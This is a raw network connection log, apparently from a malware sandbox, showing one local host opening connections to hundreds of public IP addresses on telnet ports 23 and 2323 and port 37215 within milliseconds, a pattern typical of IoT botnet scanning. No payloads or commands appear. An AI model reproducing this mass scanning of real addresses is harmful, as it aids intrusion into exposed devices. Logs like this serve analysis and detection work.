Nov 3, 2024 15:33:17.282166004 CET	4847	37215	192.168.2.14	41.99.40.203
Nov 3, 2024 15:33:17.282166958 CET	4833	23	192.168.2.14	43.204.228.86
Nov 3, 2024 15:33:17.282170057 CET	4847	37215	192.168.2.14	41.48.54.7
Nov 3, 2024 15:33:17.282181025 CET	4833	23	192.168.2.14	83.171.212.157
Nov 3, 2024 15:33:17.282185078 CET	4833	23	192.168.2.14	126.102.46.44
Nov 3, 2024 15:33:17.282185078 CET	4833	23	192.168.2.14	186.142.107.61
Nov 3, 2024 15:33:17.282186985 CET	4833	23	192.168.2.14	113.44.206.239
Nov 3, 2024 15:33:17.282186985 CET	4833	23	192.168.2.14	115.113.210.118
Nov 3, 2024 15:33:17.282197952 CET	4847	37215	192.168.2.14	41.151.100.97
Nov 3, 2024 15:33:17.282197952 CET	4847	37215	192.168.2.14	156.171.7.70
Nov 3, 2024 15:33:17.282197952 CET	4833	23	192.168.2.14	156.245.27.198
Nov 3, 2024 15:33:17.282207012 CET	4847	37215	192.168.2.14	197.31.3.92
Nov 3, 2024 15:33:17.282212973 CET	4833	23	192.168.2.14	32.135.75.255
Nov 3, 2024 15:33:17.282217026 CET	4833	2323	192.168.2.14	115.192.132.184
Nov 3, 2024 15:33:17.282217026 CET	4847	37215	192.168.2.14	197.246.174.223
Nov 3, 2024 15:33:17.282222033 CET	4833	23	192.168.2.14	185.205.222.249
Nov 3, 2024 15:33:17.282224894 CET	4847	37215	192.168.2.14	41.208.58.124
Nov 3, 2024 15:33:17.282227039 CET	4847	37215	192.168.2.14	41.247.3.12
Nov 3, 2024 15:33:17.282227993 CET	4833	23	192.168.2.14	209.22.145.169
Nov 3, 2024 15:33:17.282233953 CET	4847	37215	192.168.2.14	197.70.213.143
Nov 3, 2024 15:33:17.282250881 CET	4833	23	192.168.2.14	86.35.249.57
Nov 3, 2024 15:33:17.282252073 CET	4847	37215	192.168.2.14	197.169.145.137
Nov 3, 2024 15:33:17.282252073 CET	4833	23	192.168.2.14	27.178.86.136
Nov 3, 2024 15:33:17.282253981 CET	4847	37215	192.168.2.14	156.93.83.238
Nov 3, 2024 15:33:17.282253981 CET	4847	37215	192.168.2.14	156.116.127.91
Nov 3, 2024 15:33:17.282257080 CET	4847	37215	192.168.2.14	197.104.78.102
Nov 3, 2024 15:33:17.282257080 CET	4833	23	192.168.2.14	165.249.26.2
Nov 3, 2024 15:33:17.282263994 CET	4847	37215	192.168.2.14	156.145.243.167
Nov 3, 2024 15:33:17.282264948 CET	4847	37215	192.168.2.14	41.10.66.5
Nov 3, 2024 15:33:17.282269001 CET	4833	23	192.168.2.14	193.242.19.219
Nov 3, 2024 15:33:17.282269955 CET	4847	37215	192.168.2.14	41.66.75.51
Nov 3, 2024 15:33:17.282269955 CET	4833	23	192.168.2.14	202.204.31.176
Nov 3, 2024 15:33:17.282273054 CET	4847	37215	192.168.2.14	197.150.188.104
Nov 3, 2024 15:33:17.282279968 CET	4847	37215	192.168.2.14	156.238.39.182
Nov 3, 2024 15:33:17.282279968 CET	4847	37215	192.168.2.14	197.180.113.154
Nov 3, 2024 15:33:17.282283068 CET	4847	37215	192.168.2.14	41.110.237.55
Nov 3, 2024 15:33:17.282283068 CET	4833	2323	192.168.2.14	44.129.16.149
Nov 3, 2024 15:33:17.282284975 CET	4847	37215	192.168.2.14	41.74.228.50
Nov 3, 2024 15:33:17.282284975 CET	4833	23	192.168.2.14	61.118.129.80
Nov 3, 2024 15:33:17.282290936 CET	4847	37215	192.168.2.14	156.34.251.9
Nov 3, 2024 15:33:17.282295942 CET	4847	37215	192.168.2.14	156.35.157.111
Nov 3, 2024 15:33:17.282296896 CET	4833	23	192.168.2.14	36.1.76.58
Nov 3, 2024 15:33:17.282296896 CET	4833	23	192.168.2.14	159.108.185.109
Nov 3, 2024 15:33:17.282296896 CET	4847	37215	192.168.2.14	156.250.189.52
Nov 3, 2024 15:33:17.282298088 CET	4847	37215	192.168.2.14	41.63.77.178
Nov 3, 2024 15:33:17.282311916 CET	4847	37215	192.168.2.14	41.207.100.86
Nov 3, 2024 15:33:17.282311916 CET	4847	37215	192.168.2.14	156.127.16.123
Nov 3, 2024 15:33:17.282311916 CET	4833	23	192.168.2.14	92.211.140.219
Nov 3, 2024 15:33:17.282313108 CET	4833	23	192.168.2.14	89.247.127.123
Nov 3, 2024 15:33:17.282313108 CET	4847	37215	192.168.2.14	156.174.223.1
Nov 3, 2024 15:33:17.282315016 CET	4833	23	192.168.2.14	71.54.80.239
Nov 3, 2024 15:33:17.282320976 CET	4833	23	192.168.2.14	102.42.183.124
Nov 3, 2024 15:33:17.282334089 CET	4847	37215	192.168.2.14	197.230.133.127
Nov 3, 2024 15:33:17.282334089 CET	4833	23	192.168.2.14	39.121.14.33
Nov 3, 2024 15:33:17.282334089 CET	4833	2323	192.168.2.14	161.224.161.202
Nov 3, 2024 15:33:17.282334089 CET	4847	37215	192.168.2.14	197.102.181.219
Nov 3, 2024 15:33:17.282334089 CET	4847	37215	192.168.2.14	41.190.109.206
Nov 3, 2024 15:33:17.282335043 CET	4833	23	192.168.2.14	156.229.225.140
Nov 3, 2024 15:33:17.282335997 CET	4833	23	192.168.2.14	135.216.90.138
Nov 3, 2024 15:33:17.282334089 CET	4847	37215	192.168.2.14	197.36.165.22
Nov 3, 2024 15:33:17.282340050 CET	4833	23	192.168.2.14	59.59.132.151
Nov 3, 2024 15:33:17.282335043 CET	4833	23	192.168.2.14	217.5.110.114
Nov 3, 2024 15:33:17.282340050 CET	4847	37215	192.168.2.14	156.62.76.141
Nov 3, 2024 15:33:17.282340050 CET	4847	37215	192.168.2.14	41.166.0.134
Nov 3, 2024 15:33:17.282340050 CET	4847	37215	192.168.2.14	197.214.112.157
Nov 3, 2024 15:33:17.282340050 CET	4833	23	192.168.2.14	180.203.235.189
Nov 3, 2024 15:33:17.282356977 CET	4847	37215	192.168.2.14	197.130.16.85
Nov 3, 2024 15:33:17.282356977 CET	4847	37215	192.168.2.14	197.208.252.118
Nov 3, 2024 15:33:17.282357931 CET	4847	37215	192.168.2.14	197.103.99.191
Nov 3, 2024 15:33:17.282357931 CET	4833	23	192.168.2.14	170.198.68.10
Nov 3, 2024 15:33:17.282358885 CET	4833	23	192.168.2.14	157.53.9.13
Nov 3, 2024 15:33:17.282358885 CET	4847	37215	192.168.2.14	156.81.179.88
Nov 3, 2024 15:33:17.282358885 CET	4847	37215	192.168.2.14	197.120.49.94
Nov 3, 2024 15:33:17.282358885 CET	4833	23	192.168.2.14	219.28.208.236
Nov 3, 2024 15:33:17.282360077 CET	4847	37215	192.168.2.14	197.82.99.58
Nov 3, 2024 15:33:17.282361984 CET	4833	23	192.168.2.14	165.164.200.248
Nov 3, 2024 15:33:17.282361984 CET	4847	37215	192.168.2.14	156.218.101.30
Nov 3, 2024 15:33:17.282363892 CET	4833	23	192.168.2.14	47.122.162.42
Nov 3, 2024 15:33:17.282363892 CET	4847	37215	192.168.2.14	41.105.72.38
Nov 3, 2024 15:33:17.282366991 CET	4833	23	192.168.2.14	76.46.162.133
Nov 3, 2024 15:33:17.282366991 CET	4847	37215	192.168.2.14	156.209.107.253
Nov 3, 2024 15:33:17.282366991 CET	4833	2323	192.168.2.14	163.161.217.5
Nov 3, 2024 15:33:17.282366991 CET	4833	23	192.168.2.14	75.172.31.4
Nov 3, 2024 15:33:17.282378912 CET	4833	23	192.168.2.14	99.239.22.163
Nov 3, 2024 15:33:17.282380104 CET	4833	23	192.168.2.14	87.103.131.33
Nov 3, 2024 15:33:17.282382011 CET	4833	23	192.168.2.14	203.253.199.139
Nov 3, 2024 15:33:17.282382965 CET	4847	37215	192.168.2.14	197.95.208.171
Nov 3, 2024 15:33:17.282382965 CET	4847	37215	192.168.2.14	197.166.174.2
Nov 3, 2024 15:33:17.282382965 CET	4833	23	192.168.2.14	170.10.189.52
Nov 3, 2024 15:33:17.282382965 CET	4833	23	192.168.2.14	9.37.2.220
Nov 3, 2024 15:33:17.282383919 CET	4833	23	192.168.2.14	102.239.251.238
Nov 3, 2024 15:33:17.282383919 CET	4833	23	192.168.2.14	5.17.225.224
Nov 3, 2024 15:33:17.282385111 CET	4847	37215	192.168.2.14	41.149.97.145
Nov 3, 2024 15:33:17.282386065 CET	4847	37215	192.168.2.14	197.154.210.22
Nov 3, 2024 15:33:17.282386065 CET	4847	37215	192.168.2.14	156.7.60.198
Nov 3, 2024 15:33:17.282408953 CET	4833	23	192.168.2.14	211.123.148.103
Nov 3, 2024 15:33:17.282408953 CET	4847	37215	192.168.2.14	156.63.19.7
Nov 3, 2024 15:33:17.282408953 CET	4847	37215	192.168.2.14	41.142.124.228
Nov 3, 2024 15:33:17.282408953 CET	4833	23	192.168.2.14	20.99.160.253
Nov 3, 2024 15:33:17.282409906 CET	4847	37215	192.168.2.14	197.42.41.98
Nov 3, 2024 15:33:17.282411098 CET	4847	37215	192.168.2.14	156.213.173.55
Nov 3, 2024 15:33:17.282411098 CET	4847	37215	192.168.2.14	197.188.250.13
Nov 3, 2024 15:33:17.282409906 CET	4833	23	192.168.2.14	149.177.89.112
Nov 3, 2024 15:33:17.282411098 CET	4847	37215	192.168.2.14	197.154.94.201
Nov 3, 2024 15:33:17.282412052 CET	4833	23	192.168.2.14	126.89.168.39
Nov 3, 2024 15:33:17.282413960 CET	4847	37215	192.168.2.14	41.140.190.70
Nov 3, 2024 15:33:17.282409906 CET	4847	37215	192.168.2.14	41.129.132.199
Nov 3, 2024 15:33:17.282414913 CET	4847	37215	192.168.2.14	197.52.58.121
Nov 3, 2024 15:33:17.282413960 CET	4847	37215	192.168.2.14	156.249.72.150
Nov 3, 2024 15:33:17.282414913 CET	4833	23	192.168.2.14	75.213.211.214
Nov 3, 2024 15:33:17.282412052 CET	4833	23	192.168.2.14	132.1.97.210
Nov 3, 2024 15:33:17.282411098 CET	4833	23	192.168.2.14	204.178.10.192
Nov 3, 2024 15:33:17.282412052 CET	4847	37215	192.168.2.14	156.43.191.72
Nov 3, 2024 15:33:17.282414913 CET	4833	2323	192.168.2.14	213.140.35.81
Nov 3, 2024 15:33:17.282414913 CET	4847	37215	192.168.2.14	156.2.45.149
Nov 3, 2024 15:33:17.282414913 CET	4833	23	192.168.2.14	187.111.72.5
Nov 3, 2024 15:33:17.282414913 CET	4847	37215	192.168.2.14	156.240.219.52
Nov 3, 2024 15:33:17.282424927 CET	4833	23	192.168.2.14	27.32.6.136
Nov 3, 2024 15:33:17.282424927 CET	4833	23	192.168.2.14	200.186.236.199
Nov 3, 2024 15:33:17.282424927 CET	4847	37215	192.168.2.14	156.52.194.186
Nov 3, 2024 15:33:17.282443047 CET	4847	37215	192.168.2.14	156.198.196.220
Nov 3, 2024 15:33:17.282443047 CET	4833	23	192.168.2.14	155.124.174.101
Nov 3, 2024 15:33:17.282444000 CET	4833	23	192.168.2.14	19.131.139.170
Nov 3, 2024 15:33:17.282444954 CET	4847	37215	192.168.2.14	41.181.214.15
Nov 3, 2024 15:33:17.282444954 CET	4833	23	192.168.2.14	95.183.221.28
Nov 3, 2024 15:33:17.282444954 CET	4833	23	192.168.2.14	204.181.184.135
Nov 3, 2024 15:33:17.282444954 CET	4833	2323	192.168.2.14	191.83.124.249
Nov 3, 2024 15:33:17.282444954 CET	4833	23	192.168.2.14	178.180.204.111
Nov 3, 2024 15:33:17.282447100 CET	4847	37215	192.168.2.14	156.134.158.81
Nov 3, 2024 15:33:17.282447100 CET	4833	23	192.168.2.14	69.86.143.9
Nov 3, 2024 15:33:17.282447100 CET	4847	37215	192.168.2.14	41.118.158.31
Nov 3, 2024 15:33:17.282447100 CET	4847	37215	192.168.2.14	156.105.200.89
Nov 3, 2024 15:33:17.282447100 CET	4833	23	192.168.2.14	82.151.254.161
Nov 3, 2024 15:33:17.282447100 CET	4847	37215	192.168.2.14	156.237.56.37
Nov 3, 2024 15:33:17.282449007 CET	4833	23	192.168.2.14	116.175.180.185
Nov 3, 2024 15:33:17.282449007 CET	4847	37215	192.168.2.14	41.96.103.35
Nov 3, 2024 15:33:17.282449007 CET	4847	37215	192.168.2.14	156.174.58.210
Nov 3, 2024 15:33:17.282449007 CET	4833	23	192.168.2.14	123.195.6.144
Nov 3, 2024 15:33:17.282449007 CET	4833	23	192.168.2.14	112.213.165.237
Nov 3, 2024 15:33:17.282461882 CET	4833	2323	192.168.2.14	217.101.108.65
Nov 3, 2024 15:33:17.282461882 CET	4847	37215	192.168.2.14	197.80.107.216
Nov 3, 2024 15:33:17.282461882 CET	4847	37215	192.168.2.14	197.64.127.249
Nov 3, 2024 15:33:17.282461882 CET	4833	2323	192.168.2.14	102.81.185.203
Nov 3, 2024 15:33:17.282465935 CET	4847	37215	192.168.2.14	197.131.126.199
Nov 3, 2024 15:33:17.282465935 CET	4847	37215	192.168.2.14	197.71.54.0
Nov 3, 2024 15:33:17.282465935 CET	4833	23	192.168.2.14	183.72.119.212
Nov 3, 2024 15:33:17.282468081 CET	4847	37215	192.168.2.14	197.230.204.87
Nov 3, 2024 15:33:17.282466888 CET	4833	23	192.168.2.14	41.22.244.205
Nov 3, 2024 15:33:17.282468081 CET	4847	37215	192.168.2.14	197.23.51.204
Nov 3, 2024 15:33:17.282468081 CET	4847	37215	192.168.2.14	41.14.115.98
Nov 3, 2024 15:33:17.282468081 CET	4833	23	192.168.2.14	139.225.167.250
Nov 3, 2024 15:33:17.282468081 CET	4833	23	192.168.2.14	120.9.125.120
Nov 3, 2024 15:33:17.282468081 CET	4833	23	192.168.2.14	40.68.204.17
Nov 3, 2024 15:33:17.282469988 CET	4847	37215	192.168.2.14	156.197.121.173
Nov 3, 2024 15:33:17.282470942 CET	4833	23	192.168.2.14	182.126.117.181
Nov 3, 2024 15:33:17.282469988 CET	4833	23	192.168.2.14	77.37.12.176
Nov 3, 2024 15:33:17.282470942 CET	4847	37215	192.168.2.14	156.42.160.169
Nov 3, 2024 15:33:17.282469988 CET	4847	37215	192.168.2.14	41.142.59.86
Nov 3, 2024 15:33:17.282473087 CET	4833	23	192.168.2.14	161.255.20.60
Nov 3, 2024 15:33:17.282473087 CET	4847	37215	192.168.2.14	156.217.50.37
Nov 3, 2024 15:33:17.282473087 CET	4847	37215	192.168.2.14	197.233.186.59
Nov 3, 2024 15:33:17.282473087 CET	4847	37215	192.168.2.14	156.210.67.17
Nov 3, 2024 15:33:17.282473087 CET	4847	37215	192.168.2.14	156.215.225.149
Nov 3, 2024 15:33:17.282491922 CET	4833	23	192.168.2.14	125.100.242.12
Nov 3, 2024 15:33:17.282491922 CET	4833	2323	192.168.2.14	158.126.231.70
Nov 3, 2024 15:33:17.282494068 CET	4847	37215	192.168.2.14	41.153.112.22
Nov 3, 2024 15:33:17.282495022 CET	4847	37215	192.168.2.14	156.125.164.247
Nov 3, 2024 15:33:17.282495022 CET	4847	37215	192.168.2.14	41.221.141.162
Nov 3, 2024 15:33:17.282495022 CET	4847	37215	192.168.2.14	41.99.14.145
Nov 3, 2024 15:33:17.282497883 CET	4847	37215	192.168.2.14	41.200.144.90
Nov 3, 2024 15:33:17.282500029 CET	4847	37215	192.168.2.14	156.184.240.84
Nov 3, 2024 15:33:17.282500029 CET	4847	37215	192.168.2.14	197.219.7.74
Nov 3, 2024 15:33:17.282500029 CET	4833	23	192.168.2.14	76.52.107.182
Nov 3, 2024 15:33:17.282505035 CET	4847	37215	192.168.2.14	41.66.99.143
Nov 3, 2024 15:33:17.282505989 CET	4833	23	192.168.2.14	24.236.34.234
Nov 3, 2024 15:33:17.282505989 CET	4847	37215	192.168.2.14	197.236.51.111
Nov 3, 2024 15:33:17.282505989 CET	4833	23	192.168.2.14	124.74.199.6
Nov 3, 2024 15:33:17.282505035 CET	4847	37215	192.168.2.14	197.78.164.126
Nov 3, 2024 15:33:17.282505989 CET	4847	37215	192.168.2.14	156.161.55.99
Nov 3, 2024 15:33:17.282505035 CET	4833	23	192.168.2.14	121.84.3.106
Nov 3, 2024 15:33:17.282505035 CET	4833	23	192.168.2.14	92.122.58.0
Nov 3, 2024 15:33:17.282515049 CET	4833	23	192.168.2.14	84.92.92.239
Nov 3, 2024 15:33:17.282517910 CET	4847	37215	192.168.2.14	41.28.123.26
Nov 3, 2024 15:33:17.282517910 CET	4847	37215	192.168.2.14	197.20.5.153
Nov 3, 2024 15:33:17.282517910 CET	4847	37215	192.168.2.14	156.13.210.80
Nov 3, 2024 15:33:17.282517910 CET	4833	23	192.168.2.14	210.179.230.103
Nov 3, 2024 15:33:17.282517910 CET	4847	37215	192.168.2.14	156.215.11.59
Nov 3, 2024 15:33:17.282517910 CET	4847	37215	192.168.2.14	41.132.75.198
Nov 3, 2024 15:33:17.282519102 CET	4833	23	192.168.2.14	173.147.94.77
Nov 3, 2024 15:33:17.282530069 CET	4833	23	192.168.2.14	126.209.115.18
Nov 3, 2024 15:33:17.282530069 CET	4833	23	192.168.2.14	84.102.189.220
Nov 3, 2024 15:33:17.282531977 CET	4847	37215	192.168.2.14	156.225.217.30
Nov 3, 2024 15:33:17.282531977 CET	4833	23	192.168.2.14	115.30.44.140
Nov 3, 2024 15:33:17.282531977 CET	4833	23	192.168.2.14	195.199.199.135
Nov 3, 2024 15:33:17.282531977 CET	4847	37215	192.168.2.14	197.163.230.222
Nov 3, 2024 15:33:17.282531977 CET	4847	37215	192.168.2.14	156.142.115.176
Nov 3, 2024 15:33:17.282532930 CET	4833	23	192.168.2.14	38.167.163.133
Nov 3, 2024 15:33:17.282532930 CET	4833	23	192.168.2.14	92.4.146.105
Nov 3, 2024 15:33:17.282532930 CET	4847	37215	192.168.2.14	197.96.215.164
Nov 3, 2024 15:33:17.282533884 CET	4847	37215	192.168.2.14	41.88.49.126
Nov 3, 2024 15:33:17.282532930 CET	4847	37215	192.168.2.14	156.24.50.75
Nov 3, 2024 15:33:17.282533884 CET	4833	23	192.168.2.14	171.116.165.160
Nov 3, 2024 15:33:17.282532930 CET	4833	23	192.168.2.14	223.246.175.226
Nov 3, 2024 15:33:17.282538891 CET	4833	23	192.168.2.14	185.209.22.114
Nov 3, 2024 15:33:17.282532930 CET	4847	37215	192.168.2.14	41.61.135.225
Nov 3, 2024 15:33:17.282533884 CET	4847	37215	192.168.2.14	41.12.235.175
Nov 3, 2024 15:33:17.282532930 CET	4833	23	192.168.2.14	32.230.114.15
Nov 3, 2024 15:33:17.282532930 CET	4847	37215	192.168.2.14	197.83.73.215
Nov 3, 2024 15:33:17.282557964 CET	4833	23	192.168.2.14	31.120.16.158
Nov 3, 2024 15:33:17.282557964 CET	4847	37215	192.168.2.14	41.145.147.18
Nov 3, 2024 15:33:17.282558918 CET	4847	37215	192.168.2.14	156.155.117.60
Nov 3, 2024 15:33:17.282558918 CET	4833	23	192.168.2.14	167.249.13.241
Nov 3, 2024 15:33:17.282562017 CET	4847	37215	192.168.2.14	41.50.23.117
Nov 3, 2024 15:33:17.282562017 CET	4833	23	192.168.2.14	175.220.149.164
Nov 3, 2024 15:33:17.282562017 CET	4847	37215	192.168.2.14	41.214.49.49
Nov 3, 2024 15:33:17.282562971 CET	4847	37215	192.168.2.14	197.120.235.39
Nov 3, 2024 15:33:17.282562971 CET	4833	23	192.168.2.14	60.227.96.21
Nov 3, 2024 15:33:17.282562017 CET	4833	23	192.168.2.14	27.57.72.115
Nov 3, 2024 15:33:17.282562971 CET	4833	23	192.168.2.14	39.21.69.211
Nov 3, 2024 15:33:17.282563925 CET	4847	37215	192.168.2.14	156.233.160.32
Nov 3, 2024 15:33:17.282562971 CET	4847	37215	192.168.2.14	41.15.151.39
Nov 3, 2024 15:33:17.282563925 CET	4833	23	192.168.2.14	61.145.206.124
Nov 3, 2024 15:33:17.282562971 CET	4833	23	192.168.2.14	150.236.144.188
Nov 3, 2024 15:33:17.282563925 CET	4833	2323	192.168.2.14	125.224.147.245
Nov 3, 2024 15:33:17.282562971 CET	4847	37215	192.168.2.14	156.22.78.198
Nov 3, 2024 15:33:17.282562971 CET	4833	23	192.168.2.14	136.171.206.144
Nov 3, 2024 15:33:17.282563925 CET	4847	37215	192.168.2.14	197.241.5.195
Nov 3, 2024 15:33:17.282562971 CET	4833	23	192.168.2.14	69.226.247.11
Nov 3, 2024 15:33:17.282562971 CET	4847	37215	192.168.2.14	197.130.247.93
Nov 3, 2024 15:33:17.282562971 CET	4833	23	192.168.2.14	179.73.203.151
Nov 3, 2024 15:33:17.282562971 CET	4847	37215	192.168.2.14	197.127.44.60
Nov 3, 2024 15:33:17.282562971 CET	4847	37215	192.168.2.14	197.99.68.184
Nov 3, 2024 15:33:17.282588005 CET	4833	2323	192.168.2.14	104.143.165.230
Nov 3, 2024 15:33:17.282588005 CET	4847	37215	192.168.2.14	156.163.69.8
Nov 3, 2024 15:33:17.282588959 CET	4833	23	192.168.2.14	156.247.160.25
Nov 3, 2024 15:33:17.282588005 CET	4833	23	192.168.2.14	24.5.168.88
Nov 3, 2024 15:33:17.282591105 CET	4847	37215	192.168.2.14	41.117.90.237
Nov 3, 2024 15:33:17.282591105 CET	4833	23	192.168.2.14	125.144.222.4
Nov 3, 2024 15:33:17.282591105 CET	4847	37215	192.168.2.14	197.219.183.18
Nov 3, 2024 15:33:17.282591105 CET	4847	37215	192.168.2.14	156.131.209.225
Nov 3, 2024 15:33:17.282593012 CET	4847	37215	192.168.2.14	41.207.189.237
Nov 3, 2024 15:33:17.282593012 CET	4833	23	192.168.2.14	60.254.190.140
Nov 3, 2024 15:33:17.282593012 CET	4847	37215	192.168.2.14	41.138.31.27
Nov 3, 2024 15:33:17.282594919 CET	4833	23	192.168.2.14	36.226.132.112
Nov 3, 2024 15:33:17.282594919 CET	4833	2323	192.168.2.14	36.142.72.139
Nov 3, 2024 15:33:17.282596111 CET	4847	37215	192.168.2.14	156.144.123.194
Nov 3, 2024 15:33:17.282596111 CET	4847	37215	192.168.2.14	41.227.163.76
Nov 3, 2024 15:33:17.282598019 CET	4847	37215	192.168.2.14	156.94.184.191
Nov 3, 2024 15:33:17.282598019 CET	4833	23	192.168.2.14	161.200.62.39
Nov 3, 2024 15:33:17.282598019 CET	4833	23	192.168.2.14	175.10.89.191
Nov 3, 2024 15:33:17.282598019 CET	4833	23	192.168.2.14	48.68.53.50
Nov 3, 2024 15:33:17.282598019 CET	4833	23	192.168.2.14	4.19.167.74
Nov 3, 2024 15:33:17.282599926 CET	4847	37215	192.168.2.14	156.57.182.139
Nov 3, 2024 15:33:17.282599926 CET	4833	23	192.168.2.14	38.20.198.15
Nov 3, 2024 15:33:17.282601118 CET	4833	23	192.168.2.14	93.239.72.56
Nov 3, 2024 15:33:17.282629967 CET	4847	37215	192.168.2.14	156.187.48.134
Nov 3, 2024 15:33:17.282629967 CET	4847	37215	192.168.2.14	197.93.246.50
Nov 3, 2024 15:33:17.282629967 CET	4833	23	192.168.2.14	47.82.229.71
Nov 3, 2024 15:33:17.282632113 CET	4833	23	192.168.2.14	9.187.158.14
Nov 3, 2024 15:33:17.282632113 CET	4847	37215	192.168.2.14	41.38.241.222
Nov 3, 2024 15:33:17.282634974 CET	4847	37215	192.168.2.14	41.2.164.236
Nov 3, 2024 15:33:17.282634974 CET	4847	37215	192.168.2.14	41.227.75.39
Nov 3, 2024 15:33:17.282634974 CET	4833	23	192.168.2.14	45.202.51.192
Nov 3, 2024 15:33:17.282634974 CET	4833	23	192.168.2.14	166.229.115.88
Nov 3, 2024 15:33:17.282634974 CET	4833	23	192.168.2.14	111.50.178.137
Nov 3, 2024 15:33:17.282634974 CET	4833	23	192.168.2.14	38.65.13.84
Nov 3, 2024 15:33:17.282639980 CET	4847	37215	192.168.2.14	156.251.86.202
Nov 3, 2024 15:33:17.282634974 CET	4833	23	192.168.2.14	82.208.234.54
Nov 3, 2024 15:33:17.282639980 CET	4833	2323	192.168.2.14	170.2.202.236
Nov 3, 2024 15:33:17.282635927 CET	4833	23	192.168.2.14	93.188.174.85
Nov 3, 2024 15:33:17.282634974 CET	4833	23	192.168.2.14	83.33.21.81
Nov 3, 2024 15:33:17.282635927 CET	4847	37215	192.168.2.14	156.1.236.222
Nov 3, 2024 15:33:17.282634974 CET	4847	37215	192.168.2.14	197.8.77.66
Nov 3, 2024 15:33:17.282639980 CET	4847	37215	192.168.2.14	41.200.149.238
Nov 3, 2024 15:33:17.282634974 CET	4833	23	192.168.2.14	201.42.173.150
Nov 3, 2024 15:33:17.282639980 CET	4847	37215	192.168.2.14	197.173.159.168
Nov 3, 2024 15:33:17.282635927 CET	4833	23	192.168.2.14	140.252.201.84
Nov 3, 2024 15:33:17.282634974 CET	4847	37215	192.168.2.14	41.32.62.248
Nov 3, 2024 15:33:17.282635927 CET	4833	23	192.168.2.14	42.19.50.251
Nov 3, 2024 15:33:17.282639980 CET	4833	23	192.168.2.14	198.141.223.49
Nov 3, 2024 15:33:17.282659054 CET	4847	37215	192.168.2.14	41.227.52.214
Nov 3, 2024 15:33:17.282659054 CET	4847	37215	192.168.2.14	156.153.99.125
Nov 3, 2024 15:33:17.282665014 CET	4833	23	192.168.2.14	32.19.63.229
Nov 3, 2024 15:33:17.282665014 CET	4833	23	192.168.2.14	71.156.21.117
Nov 3, 2024 15:33:17.282665014 CET	4847	37215	192.168.2.14	41.252.231.164
Nov 3, 2024 15:33:17.282665014 CET	4833	23	192.168.2.14	163.122.61.213
Nov 3, 2024 15:33:17.282665014 CET	4847	37215	192.168.2.14	41.65.34.253
Nov 3, 2024 15:33:17.282668114 CET	4847	37215	192.168.2.14	156.227.138.110
Nov 3, 2024 15:33:17.282668114 CET	4847	37215	192.168.2.14	41.19.143.85
Nov 3, 2024 15:33:17.282668114 CET	4833	23	192.168.2.14	219.180.50.66
Nov 3, 2024 15:33:17.282665014 CET	4833	23	192.168.2.14	153.80.144.180
Nov 3, 2024 15:33:17.282665968 CET	4847	37215	192.168.2.14	41.64.254.162
Nov 3, 2024 15:33:17.282665014 CET	4833	23	192.168.2.14	120.54.150.227
Nov 3, 2024 15:33:17.282668114 CET	4833	2323	192.168.2.14	108.57.31.171
Nov 3, 2024 15:33:17.282668114 CET	4847	37215	192.168.2.14	41.21.109.209
Nov 3, 2024 15:33:17.282665968 CET	4847	37215	192.168.2.14	41.224.144.229
Nov 3, 2024 15:33:17.282665014 CET	4847	37215	192.168.2.14	156.177.72.118
Nov 3, 2024 15:33:17.282668114 CET	4847	37215	192.168.2.14	156.99.182.229
Nov 3, 2024 15:33:17.282665014 CET	4833	23	192.168.2.14	118.181.90.253
Nov 3, 2024 15:33:17.282669067 CET	4847	37215	192.168.2.14	41.237.126.140
Nov 3, 2024 15:33:17.282665968 CET	4833	23	192.168.2.14	170.222.171.52
Nov 3, 2024 15:33:17.282665014 CET	4847	37215	192.168.2.14	41.45.57.227
Nov 3, 2024 15:33:17.282665968 CET	4833	23	192.168.2.14	192.0.84.169
Nov 3, 2024 15:33:17.282668114 CET	4847	37215	192.168.2.14	156.211.71.119
Nov 3, 2024 15:33:17.282669067 CET	4847	37215	192.168.2.14	156.251.218.5
Nov 3, 2024 15:33:17.282665014 CET	4833	23	192.168.2.14	95.179.245.104
Nov 3, 2024 15:33:17.282665014 CET	4847	37215	192.168.2.14	41.235.217.176
Nov 3, 2024 15:33:17.282665014 CET	4847	37215	192.168.2.14	156.216.91.177
Nov 3, 2024 15:33:17.282669067 CET	4833	23	192.168.2.14	108.8.226.24
Nov 3, 2024 15:33:17.282694101 CET	4833	2323	192.168.2.14	93.234.81.206
Nov 3, 2024 15:33:17.282694101 CET	4847	37215	192.168.2.14	156.173.166.134
Nov 3, 2024 15:33:17.282695055 CET	4833	23	192.168.2.14	120.122.134.56
Nov 3, 2024 15:33:17.282696009 CET	4833	23	192.168.2.14	222.112.7.41
Nov 3, 2024 15:33:17.282695055 CET	4847	37215	192.168.2.14	156.155.208.150
Nov 3, 2024 15:33:17.282696009 CET	4833	23	192.168.2.14	24.62.98.57
Nov 3, 2024 15:33:17.282696009 CET	4833	23	192.168.2.14	91.136.109.202
Nov 3, 2024 15:33:17.282694101 CET	4847	37215	192.168.2.14	156.236.57.240
Nov 3, 2024 15:33:17.282696009 CET	4847	37215	192.168.2.14	41.51.15.254
Nov 3, 2024 15:33:17.282696009 CET	4833	23	192.168.2.14	172.143.203.61
Nov 3, 2024 15:33:17.282701969 CET	4833	23	192.168.2.14	37.210.101.209
Nov 3, 2024 15:33:17.282694101 CET	4847	37215	192.168.2.14	41.218.195.194
Nov 3, 2024 15:33:17.282696009 CET	4847	37215	192.168.2.14	197.200.157.98
Nov 3, 2024 15:33:17.282694101 CET	4847	37215	192.168.2.14	41.105.55.144
Nov 3, 2024 15:33:17.282701969 CET	4847	37215	192.168.2.14	41.195.39.3
Nov 3, 2024 15:33:17.282700062 CET	4847	37215	192.168.2.14	41.97.162.13
Nov 3, 2024 15:33:17.282700062 CET	4847	37215	192.168.2.14	197.20.22.76
Nov 3, 2024 15:33:17.282700062 CET	4833	23	192.168.2.14	218.200.178.68
Nov 3, 2024 15:33:17.282694101 CET	4847	37215	192.168.2.14	156.233.79.35
Nov 3, 2024 15:33:17.282694101 CET	4847	37215	192.168.2.14	41.253.191.247
Nov 3, 2024 15:33:17.282696009 CET	4847	37215	192.168.2.14	41.238.87.143
Nov 3, 2024 15:33:17.282701969 CET	4847	37215	192.168.2.14	156.107.193.30
Nov 3, 2024 15:33:17.282701969 CET	4847	37215	192.168.2.14	41.98.236.238
Nov 3, 2024 15:33:17.282712936 CET	4847	37215	192.168.2.14	197.158.110.79
Nov 3, 2024 15:33:17.282713890 CET	4847	37215	192.168.2.14	156.139.61.92
Nov 3, 2024 15:33:17.282716990 CET	4847	37215	192.168.2.14	197.107.16.194
Nov 3, 2024 15:33:17.282716990 CET	4847	37215	192.168.2.14	156.89.192.64
